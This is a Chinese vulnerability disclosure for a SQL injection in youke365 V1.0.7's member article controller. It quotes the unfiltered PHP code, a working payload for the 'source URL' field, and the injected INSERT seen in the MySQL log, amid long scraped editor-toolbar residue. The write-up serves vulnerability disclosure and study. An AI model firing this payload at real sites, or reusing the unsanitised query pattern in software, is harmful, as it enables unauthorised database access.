

youke365 V1.0.7 最新版 前台SQL注入

漏洞简介

优客365网站分类导航系统是个跨平台的开源软件，基于PHP+MYSQL开发构建的开源网站分类目录管理系统。优客365网站分类导航系统app/member/controller/article.php页面存在SQL注入漏洞，该漏洞是由于系统未对用户输入的参数进行充分过滤。攻击者可利用该漏洞获取数据库敏感信息。

漏洞分析

文件 `app/member/controller/article.php`

```
$do = I('post.do');
    if (in_array($do, array('saveadd', 'saveedit'))){
//获得表单数据
        $cate_id    = I('post.cate_id','','intval');
        $art_title  = I('post.art_title');
        $copy_from  = I('post.copy_from'); I($_POST['copy_from']);
        $copy_url   = I('post.copy_url'); I($_POST['copy_url']);
        if(!get_magic_quotes_gpc()){
            $art_content = I('art_content','','addslashes');
        }else{
            $art_content = I('post.art_content');
        }
        $art_time = time();

        if ($cate_id <= 0) {
            msgbox('请选择文章所属分类! ');
        } else {
            $cate = get_one_category($cate_id);
            if ($cate['cate_childcount'] > 0) {
                msgbox('指定的分类下有子分类，请选择子分类进行操作! ');
            }
        }

        if (empty($art_title)) {
            msgbox('请输入文章标题! ');
        } else {
            if (!censor_words($options['filter_words'], $art_title)) {
                msgbox('文章标题中含有非法关键词! ');
            }
        }
    }
```

```
if (empty($copy_from)) $copy_from = '本站原创';
if (empty($copy_url))  $copy_url = $options['site_url'];
```

```
if (empty($art_content)) {
    msgbox('请输入文章内容! ');
} else {
    if (!censor_words($options['filter_words'], $art_content)) {
        msgbox('文章内容中含有非法关键词! ');
    }
}
```

```

    }
}

$art_content =
str_replace($options['site_root'].$options['upload_dir'].'/','[upload_dir]',
$art_content);

$art_data = array(
    'user_id'    => $userinfo['user_id'],
    'cate_id'    => $cate_id,
    'art_title' => $art_title,
    'copy_from' => $copy_from,
    'copy_url'   => $copy_url,
    'art_content' => $art_content,
    'art_status' => 2,
    'art_ctime'  => $art_time,
);

if ($do == 'saveadd') {
    $query = $Db->query("SELECT art_id FROM $table WHERE
art_title='$art_title'");
    if (count($query)) {
        msgbox('您所发布的文章已存在! ');
    }
    $Db->insert($table, $art_data);
    $insert_id = $Db->insert_id();

    msgbox('文章发布成功! ', $pageurl);
} elseif ($do == 'saveedit') {
    $art_id = I('post.art_id',' ','intval');
    $where  = "art_id='$art_id'";
    $Db->update($table, $art_data, $where);

    msgbox('文章编辑成功! ', $pageurl);
}
}

```

从代码可以看到 `copy_from`、`copy_url` 没有进行任何过滤，获取从post传递过来的是，直接进入数据库导致 sql漏洞。

漏洞证明：

首先注册一个会员，登录到会员中心，在会员中心，文章管理添加文章。在来源地址输入 payload：
`test3',database(),2,3)#`。

localhost/member/article/act/add.html

搜索

优客365
www.youke365.site

会员中心

首页会员中心网站认领个人资料安全退出

文章管理

文章列表
添加文章

网站管理

网站列表
添加网站

链接管理

链接列表
添加链接

发布文章

选择分类:

test

文章标题:

sql注入

内容来源:

seebug

来源地址:

test3'database(),2,3)#

文章内容:

HTML

16

B I U ABC X² X₂ A⁺ A⁻ A⁰ A¹ A² A³ A⁴ A⁵ A⁶ A⁷ A⁸ A⁹ A¹⁰ A¹¹ A¹² A¹³ A¹⁴ A¹⁵ A¹⁶ A¹⁷ A¹⁸ A¹⁹ A²⁰ A²¹ A²² A²³ A²⁴ A²⁵ A²⁶ A²⁷ A²⁸ A²⁹ A³⁰ A³¹ A³² A³³ A³⁴ A³⁵ A³⁶ A³⁷ A³⁸ A³⁹ A⁴⁰ A⁴¹ A⁴² A⁴³ A⁴⁴ A⁴⁵ A⁴⁶ A⁴⁷ A⁴⁸ A⁴⁹ A⁵⁰ A⁵¹ A⁵² A⁵³ A⁵⁴ A⁵⁵ A⁵⁶ A⁵⁷ A⁵⁸ A⁵⁹ A⁶⁰ A⁶¹ A⁶² A⁶³ A⁶⁴ A⁶⁵ A⁶⁶ A⁶⁷ A⁶⁸ A⁶⁹ A⁷⁰ A⁷¹ A⁷² A⁷³ A⁷⁴ A⁷⁵ A⁷⁶ A⁷⁷ A⁷⁸ A⁷⁹ A⁸⁰ A⁸¹ A⁸² A⁸³ A⁸⁴ A⁸⁵ A⁸⁶ A⁸⁷ A⁸⁸ A⁸⁹ A⁹⁰ A⁹¹ A⁹² A⁹³ A⁹⁴ A⁹⁵ A⁹⁶ A⁹⁷ A⁹⁸ A⁹⁹ A¹⁰⁰ A¹⁰¹ A¹⁰² A¹⁰³ A¹⁰⁴ A¹⁰⁵ A¹⁰⁶ A¹⁰⁷ A¹⁰⁸ A¹⁰⁹ A¹¹⁰ A¹¹¹ A¹¹² A¹¹³ A¹¹⁴ A¹¹⁵ A¹¹⁶ A¹¹⁷ A¹¹⁸ A¹¹⁹ A¹²⁰ A¹²¹ A¹²² A¹²³ A¹²⁴ A¹²⁵ A¹²⁶ A¹²⁷ A¹²⁸ A¹²⁹ A¹³⁰ A¹³¹ A¹³² A¹³³ A¹³⁴ A¹³⁵ A¹³⁶ A¹³⁷ A¹³⁸ A¹³⁹ A¹⁴⁰ A¹⁴¹ A¹⁴² A¹⁴³ A¹⁴⁴ A¹⁴⁵ A¹⁴⁶ A¹⁴⁷ A¹⁴⁸ A¹⁴⁹ A¹⁵⁰ A¹⁵¹ A¹⁵² A¹⁵³ A¹⁵⁴ A¹⁵⁵ A¹⁵⁶ A¹⁵⁷ A¹⁵⁸ A¹⁵⁹ A¹⁶⁰ A¹⁶¹ A¹⁶² A¹⁶³ A¹⁶⁴ A¹⁶⁵ A¹⁶⁶ A¹⁶⁷ A¹⁶⁸ A¹⁶⁹ A¹⁷⁰ A¹⁷¹ A¹⁷² A¹⁷³ A¹⁷⁴ A¹⁷⁵ A¹⁷⁶ A¹⁷⁷ A¹⁷⁸ A¹⁷⁹ A¹⁸⁰ A¹⁸¹ A¹⁸² A¹⁸³ A¹⁸⁴ A¹⁸⁵ A¹⁸⁶ A¹⁸⁷ A¹⁸⁸ A¹⁸⁹ A¹⁹⁰ A¹⁹¹ A¹⁹² A¹⁹³ A¹⁹⁴ A¹⁹⁵ A¹⁹⁶ A¹⁹⁷ A¹⁹⁸ A¹⁹⁹ A²⁰⁰ A²⁰¹ A²⁰² A²⁰³ A²⁰⁴ A²⁰⁵ A²⁰⁶ A²⁰⁷ A²⁰⁸ A²⁰⁹ A²¹⁰ A²¹¹ A²¹² A²¹³ A²¹⁴ A²¹⁵ A²¹⁶ A²¹⁷ A²¹⁸ A²¹⁹ A²²⁰ A²²¹ A²²² A²²³ A²²⁴ A²²⁵ A²²⁶ A²²⁷ A²²⁸ A²²⁹ A²³⁰ A²³¹ A²³² A²³³ A²³⁴ A²³⁵ A²³⁶ A²³⁷ A²³⁸ A²³⁹ A²⁴⁰ A²⁴¹ A²⁴² A²⁴³ A²⁴⁴ A²⁴⁵ A²⁴⁶ A²⁴⁷ A²⁴⁸ A²⁴⁹ A²⁵⁰ A²⁵¹ A²⁵² A²⁵³ A²⁵⁴ A²⁵⁵ A²⁵⁶ A²⁵⁷ A²⁵⁸ A²⁵⁹ A²⁶⁰ A²⁶¹ A²⁶² A²⁶³ A²⁶⁴ A²⁶⁵ A²⁶⁶ A²⁶⁷ A²⁶⁸ A²⁶⁹ A²⁷⁰ A²⁷¹ A²⁷² A²⁷³ A²⁷⁴ A²⁷⁵ A²⁷⁶ A²⁷⁷ A²⁷⁸ A²⁷⁹ A²⁸⁰ A²⁸¹ A²⁸² A²⁸³ A²⁸⁴ A²⁸⁵ A²⁸⁶ A²⁸⁷ A²⁸⁸ A²⁸⁹ A²⁹⁰ A²⁹¹ A²⁹² A²⁹³ A²⁹⁴ A²⁹⁵ A²⁹⁶ A²⁹⁷ A²⁹⁸ A²⁹⁹ A³⁰⁰ A³⁰¹ A³⁰² A³⁰³ A³⁰⁴ A³⁰⁵ A³⁰⁶ A³⁰⁷ A³⁰⁸ A³⁰⁹ A³¹⁰ A³¹¹ A³¹² A³¹³ A³¹⁴ A³¹⁵ A³¹⁶ A³¹⁷ A³¹⁸ A³¹⁹ A³²⁰ A³²¹ A³²² A³²³ A³²⁴ A³²⁵ A³²⁶ A³²⁷ A³²⁸ A³²⁹ A³³⁰ A³³¹ A³³² A³³³ A³³⁴ A³³⁵ A³³⁶ A³³⁷ A³³⁸ A³³⁹ A³⁴⁰ A³⁴¹ A³⁴² A³⁴³ A³⁴⁴ A³⁴⁵ A³⁴⁶ A³⁴⁷ A³⁴⁸ A³⁴⁹ A³⁵⁰ A³⁵¹ A³⁵² A³⁵³ A³⁵⁴ A³⁵⁵ A³⁵⁶ A³⁵⁷ A³⁵⁸ A³⁵⁹ A³⁶⁰ A³⁶¹ A³⁶² A³⁶³ A³⁶⁴ A³⁶⁵ A³⁶⁶ A³⁶⁷ A³⁶⁸ A³⁶⁹ A³⁷⁰ A³⁷¹ A³⁷² A³⁷³ A³⁷⁴ A³⁷⁵ A³⁷⁶ A³⁷⁷ A³⁷⁸ A³⁷⁹ A³⁸⁰ A³⁸¹ A³⁸² A³⁸³ A³⁸⁴ A³⁸⁵ A³⁸⁶ A³⁸⁷ A³⁸⁸ A³⁸⁹ A³⁹⁰ A³⁹¹ A³⁹² A³⁹³ A³⁹⁴ A³⁹⁵ A³⁹⁶ A³⁹⁷ A³⁹⁸ A³⁹⁹ A⁴⁰⁰ A⁴⁰¹ A⁴⁰² A⁴⁰³ A⁴⁰⁴ A⁴⁰⁵ A⁴⁰⁶ A⁴⁰⁷ A⁴⁰⁸ A⁴⁰⁹ A⁴¹⁰ A⁴¹¹ A⁴¹² A⁴¹³ A⁴¹⁴ A⁴¹⁵ A⁴¹⁶ A⁴¹⁷ A⁴¹⁸ A⁴¹⁹ A⁴²⁰ A⁴²¹ A⁴²² A⁴²³ A⁴²⁴ A⁴²⁵ A⁴²⁶ A⁴²⁷ A⁴²⁸ A⁴²⁹ A⁴³⁰ A⁴³¹ A⁴³² A⁴³³ A⁴³⁴ A⁴³⁵ A⁴³⁶ A⁴³⁷ A⁴³⁸ A⁴³⁹ A⁴⁴⁰ A⁴⁴¹ A⁴⁴² A⁴⁴³ A⁴⁴⁴ A⁴⁴⁵ A⁴⁴⁶ A⁴⁴⁷ A⁴⁴⁸ A⁴⁴⁹ A⁴⁵⁰ A⁴⁵¹ A⁴⁵² A⁴⁵³ A⁴⁵⁴ A⁴⁵⁵ A⁴⁵⁶ A⁴⁵⁷ A⁴⁵⁸ A⁴⁵⁹ A⁴⁶⁰ A⁴⁶¹ A⁴⁶² A⁴⁶³ A⁴⁶⁴ A⁴⁶⁵ A⁴⁶⁶ A⁴⁶⁷ A⁴⁶⁸ A⁴⁶⁹ A⁴⁷⁰ A⁴⁷¹ A⁴⁷² A⁴⁷³ A⁴⁷⁴ A⁴⁷⁵ A⁴⁷⁶ A⁴⁷⁷ A⁴⁷⁸ A⁴⁷⁹ A⁴⁸⁰ A⁴⁸¹ A⁴⁸² A⁴⁸³ A⁴⁸⁴ A⁴⁸⁵ A⁴⁸⁶ A⁴⁸⁷ A⁴⁸⁸ A⁴⁸⁹ A⁴⁹⁰ A⁴⁹¹ A⁴⁹² A⁴⁹³ A⁴⁹⁴ A⁴⁹⁵ A⁴⁹⁶ A⁴⁹⁷ A⁴⁹⁸ A⁴⁹⁹ A⁵⁰⁰ A⁵⁰¹ A⁵⁰² A⁵⁰³ A⁵⁰⁴ A⁵⁰⁵ A⁵⁰⁶ A⁵⁰⁷ A⁵⁰⁸ A⁵⁰⁹ A⁵¹⁰ A⁵¹¹ A⁵¹² A⁵¹³ A⁵¹⁴ A⁵¹⁵ A⁵¹⁶ A⁵¹⁷ A⁵¹⁸ A⁵¹⁹ A⁵²⁰ A⁵²¹ A⁵²² A⁵²³ A⁵²⁴ A⁵²⁵ A⁵²⁶ A⁵²⁷ A⁵²⁸ A⁵²⁹ A⁵³⁰ A⁵³¹ A⁵³² A⁵³³ A⁵³⁴ A⁵³⁵ A⁵³⁶ A⁵³⁷ A⁵³⁸ A⁵³⁹ A⁵⁴⁰ A⁵⁴¹ A⁵⁴² A⁵⁴³ A⁵⁴⁴ A⁵⁴⁵ A⁵⁴⁶ A⁵⁴⁷ A⁵⁴⁸ A⁵⁴⁹ A⁵⁵⁰ A⁵⁵¹ A⁵⁵² A⁵⁵³ A⁵⁵⁴ A⁵⁵⁵ A⁵⁵⁶ A⁵⁵⁷ A⁵⁵⁸ A⁵⁵⁹ A⁵⁶⁰ A⁵⁶¹ A⁵⁶² A⁵⁶³ A⁵⁶⁴ A⁵⁶⁵ A⁵⁶⁶ A⁵⁶⁷ A⁵⁶⁸ A⁵⁶⁹ A⁵⁷⁰ A⁵⁷¹ A⁵⁷² A⁵⁷³ A⁵⁷⁴ A⁵⁷⁵ A⁵⁷⁶ A⁵⁷⁷ A⁵⁷⁸ A⁵⁷⁹ A⁵⁸⁰ A⁵⁸¹ A⁵⁸² A⁵⁸³ A⁵⁸⁴ A⁵⁸⁵ A⁵⁸⁶ A⁵⁸⁷ A⁵⁸⁸ A⁵⁸⁹ A⁵⁹⁰ A⁵⁹¹ A⁵⁹² A⁵⁹³ A⁵⁹⁴ A⁵⁹⁵ A⁵⁹⁶ A⁵⁹⁷ A⁵⁹⁸ A⁵⁹⁹ A⁶⁰⁰ A⁶⁰¹ A⁶⁰² A⁶⁰³ A⁶⁰⁴ A⁶⁰⁵ A⁶⁰⁶ A⁶⁰⁷ A⁶⁰⁸ A⁶⁰⁹ A⁶¹⁰ A⁶¹¹ A⁶¹² A⁶¹³ A⁶¹⁴ A⁶¹⁵ A⁶¹⁶ A⁶¹⁷ A⁶¹⁸ A⁶¹⁹ A⁶²⁰ A⁶²¹ A⁶²² A⁶²³ A⁶²⁴ A⁶²⁵ A⁶²⁶ A⁶²⁷ A⁶²⁸ A⁶²⁹ A⁶³⁰ A⁶³¹ A⁶³² A⁶³³ A⁶³⁴ A⁶³⁵ A⁶³⁶ A⁶³⁷ A⁶³⁸ A⁶³⁹ A⁶⁴⁰ A⁶⁴¹ A⁶⁴² A⁶⁴³ A⁶⁴⁴ A⁶⁴⁵ A⁶⁴⁶ A⁶⁴⁷ A⁶⁴⁸ A⁶⁴⁹ A⁶⁵⁰ A⁶⁵¹ A⁶⁵² A⁶⁵³ A⁶⁵⁴ A⁶⁵⁵ A⁶⁵⁶ A⁶⁵⁷ A⁶⁵⁸ A⁶⁵⁹ A⁶⁶⁰ A⁶⁶¹ A⁶⁶² A⁶⁶³ A⁶⁶⁴ A⁶⁶⁵ A⁶⁶⁶ A⁶⁶⁷ A⁶⁶⁸ A⁶⁶⁹ A⁶⁷⁰ A⁶⁷¹ A⁶⁷² A⁶⁷³ A⁶⁷⁴ A⁶⁷⁵ A⁶⁷⁶ A⁶⁷⁷ A⁶⁷⁸ A⁶⁷⁹ A⁶⁸⁰ A⁶⁸¹ A⁶⁸² A⁶⁸³ A⁶⁸⁴ A⁶⁸⁵ A⁶⁸⁶ A⁶⁸⁷ A⁶⁸⁸ A⁶⁸⁹ A⁶⁹⁰ A⁶⁹¹ A⁶⁹² A⁶⁹³ A⁶⁹⁴ A⁶⁹⁵ A⁶⁹⁶ A⁶⁹⁷ A⁶⁹⁸ A⁶⁹⁹ A⁷⁰⁰ A⁷⁰¹ A⁷⁰² A⁷⁰³ A⁷⁰⁴ A⁷⁰⁵ A⁷⁰⁶ A⁷⁰⁷ A⁷⁰⁸ A⁷⁰⁹ A⁷¹⁰ A⁷¹¹ A⁷¹² A⁷¹³ A⁷¹⁴ A⁷¹⁵ A⁷¹⁶ A⁷¹⁷ A⁷¹⁸ A⁷¹⁹ A⁷²⁰ A⁷²¹ A⁷²² A⁷²³ A⁷²⁴ A⁷²⁵ A⁷²⁶ A⁷²⁷ A⁷²⁸ A⁷²⁹ A⁷³⁰ A⁷³¹ A⁷³² A⁷³³ A⁷³⁴ A⁷³⁵ A⁷³⁶ A⁷³⁷ A⁷³⁸ A⁷³⁹ A⁷⁴⁰ A⁷⁴¹ A⁷⁴² A⁷⁴³ A⁷⁴⁴ A⁷⁴⁵ A⁷⁴⁶ A⁷⁴⁷ A⁷⁴⁸ A⁷⁴⁹ A⁷⁵⁰ A⁷⁵¹ A⁷⁵² A⁷⁵³ A⁷⁵⁴ A⁷⁵⁵ A⁷⁵⁶ A⁷⁵⁷ A⁷⁵⁸ A⁷⁵⁹ A⁷⁶⁰ A⁷⁶¹ A⁷⁶² A⁷⁶³ A⁷⁶⁴ A⁷⁶⁵ A⁷⁶⁶ A⁷⁶⁷ A⁷⁶⁸ A⁷⁶⁹ A⁷⁷⁰ A⁷⁷¹ A⁷⁷² A⁷⁷³ A⁷⁷⁴ A⁷⁷⁵ A⁷⁷⁶ A⁷⁷⁷ A⁷⁷⁸ A⁷⁷⁹ A⁷⁸⁰ A⁷⁸¹ A⁷⁸² A⁷⁸³ A⁷⁸⁴ A⁷⁸⁵ A⁷⁸⁶ A⁷⁸⁷ A⁷⁸⁸ A⁷⁸⁹ A⁷⁹⁰ A⁷⁹¹ A⁷⁹² A⁷⁹³ A⁷⁹⁴ A⁷⁹⁵ A⁷⁹⁶ A⁷⁹⁷ A⁷⁹⁸ A⁷⁹⁹ A⁸⁰⁰ A⁸⁰¹ A⁸⁰² A⁸⁰³ A⁸⁰⁴ A⁸⁰⁵ A⁸⁰⁶ A⁸⁰⁷ A⁸⁰⁸ A⁸⁰⁹ A⁸¹⁰ A⁸¹¹ A⁸¹² A⁸¹³ A⁸¹⁴ A⁸¹⁵ A⁸¹⁶ A⁸¹⁷ A⁸¹⁸ A⁸¹⁹ A⁸²⁰ A⁸²¹ A⁸²² A⁸²³ A⁸²⁴ A⁸²⁵ A⁸²⁶ A⁸²⁷ A⁸²⁸ A⁸²⁹ A⁸³⁰ A⁸³¹ A⁸³² A⁸³³ A⁸³⁴ A⁸³⁵ A⁸³⁶ A⁸³⁷ A⁸³⁸ A⁸³⁹ A⁸⁴⁰ A⁸⁴¹ A⁸⁴² A⁸⁴³ A⁸⁴⁴ A⁸⁴⁵ A⁸⁴⁶ A⁸⁴⁷ A⁸⁴⁸ A⁸⁴⁹ A⁸⁵⁰ A⁸⁵¹ A⁸⁵² A⁸⁵³ A⁸⁵⁴ A⁸⁵⁵ A⁸⁵⁶ A⁸⁵⁷ A⁸⁵⁸ A⁸⁵⁹ A⁸⁶⁰ A⁸⁶¹ A⁸⁶² A⁸⁶³ A⁸⁶⁴ A⁸⁶⁵ A⁸⁶⁶ A⁸⁶⁷ A⁸⁶⁸ A⁸⁶⁹ A⁸⁷⁰ A⁸⁷¹ A⁸⁷² A⁸⁷³ A⁸⁷⁴ A⁸⁷⁵ A⁸⁷⁶ A⁸⁷⁷ A⁸⁷⁸ A⁸⁷⁹ A⁸⁸⁰ A⁸⁸¹ A⁸⁸² A⁸⁸³ A⁸⁸⁴ A⁸⁸⁵ A⁸⁸⁶ A⁸⁸⁷ A⁸⁸⁸ A⁸⁸⁹ A⁸⁹⁰ A⁸⁹¹ A⁸⁹² A⁸⁹³ A⁸⁹⁴ A⁸⁹⁵ A⁸⁹⁶ A⁸⁹⁷ A⁸⁹⁸ A⁸⁹⁹ A⁹⁰⁰ A⁹⁰¹ A⁹⁰² A⁹⁰³ A⁹⁰⁴ A⁹⁰⁵ A⁹⁰⁶ A⁹⁰⁷ A⁹⁰⁸ A⁹⁰⁹ A⁹¹⁰ A⁹¹¹ A⁹¹² A⁹¹³ A⁹¹⁴ A⁹¹⁵ A⁹¹⁶ A⁹¹⁷ A⁹¹⁸ A⁹¹⁹ A⁹²⁰ A⁹²¹ A⁹²² A⁹²³ A⁹²⁴ A⁹²⁵ A⁹²⁶ A⁹²⁷ A⁹²⁸ A⁹²⁹ A⁹³⁰ A⁹³¹ A⁹³² A⁹³³ A⁹³⁴ A⁹³⁵ A⁹³⁶ A⁹³⁷ A⁹³⁸ A⁹³⁹ A⁹⁴⁰ A⁹⁴¹ A⁹⁴² A⁹⁴³ A⁹⁴⁴ A⁹⁴⁵ A⁹⁴⁶ A⁹⁴⁷ A⁹⁴⁸ A⁹⁴⁹ A⁹⁵⁰ A⁹⁵¹ A⁹⁵² A⁹⁵³ A⁹⁵⁴ A⁹⁵⁵ A⁹⁵⁶ A⁹⁵⁷ A⁹⁵⁸ A⁹⁵⁹ A⁹⁶⁰ A⁹⁶¹ A⁹⁶² A⁹⁶³ A⁹⁶⁴ A⁹⁶⁵ A⁹⁶⁶ A⁹⁶⁷ A⁹⁶⁸ A⁹⁶⁹ A⁹⁷⁰ A⁹⁷¹ A⁹⁷² A⁹⁷³ A⁹⁷⁴ A⁹⁷⁵ A⁹⁷⁶ A⁹⁷⁷ A⁹⁷⁸ A⁹⁷⁹ A⁹⁸⁰ A⁹⁸¹ A⁹⁸² A⁹⁸³ A⁹⁸⁴ A⁹⁸⁵ A⁹⁸⁶ A⁹⁸⁷ A⁹⁸⁸ A⁹⁸⁹ A⁹⁹⁰ A⁹⁹¹ A⁹⁹² A⁹⁹³ A⁹⁹⁴ A⁹⁹⁵ A⁹⁹⁶ A⁹⁹⁷ A⁹⁹⁸ A⁹⁹⁹ A¹⁰⁰⁰ A¹⁰⁰¹ A¹⁰⁰² A¹⁰⁰³ A¹⁰⁰⁴ A¹⁰⁰⁵ A¹⁰⁰⁶ A¹⁰⁰⁷ A¹⁰⁰⁸ A¹⁰⁰⁹ A¹⁰¹⁰ A¹⁰¹¹ A¹⁰¹² A¹⁰¹³ A¹⁰¹⁴ A¹⁰¹⁵ A¹⁰¹⁶ A¹⁰¹⁷ A¹⁰¹⁸ A¹⁰¹⁹ A¹⁰²⁰ A¹⁰²¹ A¹⁰²² A¹⁰²³ A¹⁰²⁴ A¹⁰²⁵ A¹⁰²⁶ A¹⁰²⁷ A¹⁰²⁸ A¹⁰²⁹ A¹⁰³⁰ A¹⁰³¹ A¹⁰³² A¹⁰³³ A¹⁰³⁴ A¹⁰³⁵ A¹⁰³⁶ A¹⁰³⁷ A¹⁰³⁸ A¹⁰³⁹ A¹⁰⁴⁰ A¹⁰⁴¹ A¹⁰⁴² A¹⁰⁴³ A¹⁰⁴⁴ A¹⁰⁴⁵ A¹⁰⁴⁶ A¹⁰⁴⁷ A¹⁰⁴⁸ A¹⁰⁴⁹ A¹⁰⁵⁰ A¹⁰⁵¹ A¹⁰⁵² A¹⁰⁵³ A¹⁰⁵⁴ A¹⁰⁵⁵ A¹⁰⁵⁶ A¹⁰⁵⁷ A¹⁰⁵⁸ A¹⁰⁵⁹ A¹⁰⁶⁰ A¹⁰⁶¹ A¹⁰⁶² A¹⁰⁶³ A¹⁰⁶⁴ A¹⁰⁶⁵ A¹⁰⁶⁶ A¹⁰⁶⁷ A¹⁰⁶⁸ A¹⁰⁶⁹ A¹⁰⁷⁰ A¹⁰⁷¹ A¹⁰⁷² A¹⁰⁷³ A¹⁰⁷⁴ A¹⁰⁷⁵ A¹⁰⁷⁶ A¹⁰⁷⁷ A¹⁰⁷⁸ A¹⁰⁷⁹ A¹⁰⁸⁰ A¹⁰⁸¹ A¹⁰⁸² A¹⁰⁸³ A¹⁰⁸⁴ A¹⁰⁸⁵ A¹⁰⁸⁶ A¹⁰⁸⁷ A¹⁰⁸⁸ A¹⁰⁸⁹ A¹⁰⁹⁰ A¹⁰⁹¹ A¹⁰⁹² A¹⁰⁹³ A¹⁰⁹⁴ A¹⁰⁹⁵ A¹⁰⁹⁶ A¹⁰⁹⁷ A¹⁰⁹⁸ A¹⁰⁹⁹ A¹¹⁰⁰ A¹¹⁰¹ A¹¹⁰² A¹¹⁰³ A¹¹⁰⁴ A¹¹⁰⁵ A¹¹⁰⁶ A¹¹⁰⁷ A¹¹⁰⁸ A¹¹⁰⁹ A¹¹¹⁰ A¹¹¹¹ A¹¹¹² A¹¹¹³ A¹¹¹⁴ A¹¹¹⁵ A¹¹¹⁶ A¹¹¹⁷ A¹¹¹⁸ A¹¹¹⁹ A¹¹²⁰ A¹¹²¹ A¹¹²² A¹¹²³ A¹¹²⁴ A¹¹²⁵ A¹¹²⁶ A¹¹²⁷ A¹¹²⁸ A¹¹²⁹ A¹¹³⁰ A¹¹³¹ A¹¹³² A¹¹³³ A¹¹³⁴ A¹¹³⁵ A¹¹³⁶ A¹¹³⁷ A¹¹³⁸ A¹¹³⁹ A¹¹⁴⁰ A¹¹⁴¹ A¹¹⁴² A¹¹⁴³ A¹¹⁴⁴ A¹¹⁴⁵ A¹¹⁴⁶ A¹¹⁴⁷ A¹¹⁴⁸ A¹¹⁴⁹ A¹¹⁵⁰ A¹¹⁵¹ A¹¹⁵² A¹¹⁵³ A¹¹⁵⁴ A¹¹⁵⁵ A¹¹⁵⁶ A¹¹⁵⁷ A¹¹⁵⁸ A¹¹⁵⁹ A¹¹⁶⁰ A¹¹⁶¹ A¹¹⁶² A¹¹⁶³ A¹¹⁶⁴ A¹¹⁶⁵ A¹¹⁶⁶ A¹¹⁶⁷ A¹¹⁶⁸ A¹¹⁶⁹ A¹¹⁷⁰ A¹¹⁷¹ A¹¹⁷² A¹¹⁷³ A¹¹⁷⁴ A¹¹⁷⁵ A¹¹⁷⁶ A¹¹⁷⁷ A¹¹⁷⁸ A¹¹⁷⁹ A¹¹⁸⁰ A¹¹⁸¹ A¹¹⁸² A¹¹⁸³ A¹¹⁸⁴ A¹¹⁸⁵ A¹¹⁸⁶ A¹¹⁸⁷ A¹¹⁸⁸ A¹¹⁸⁹ A¹¹⁹⁰ A¹¹⁹¹ A¹¹⁹² A¹¹⁹³ A¹¹⁹⁴ A¹¹⁹⁵ A¹¹⁹⁶ A¹¹⁹⁷ A¹¹⁹⁸ A¹¹⁹⁹ A¹²⁰⁰ A

根据mysql 日志 实际执行的 sql语句为： `INSERT INTO yk365_articles (user_id , cate_id , art_title , copy_from , copy_url , art_content , art_status , art_ctime) VALUES ('1' , '2' , 'sql注入', 'seebug', 'test3', database(), 2, 3) #', '<p>test
</p>', '2', '1527834950')` 证明注入存在。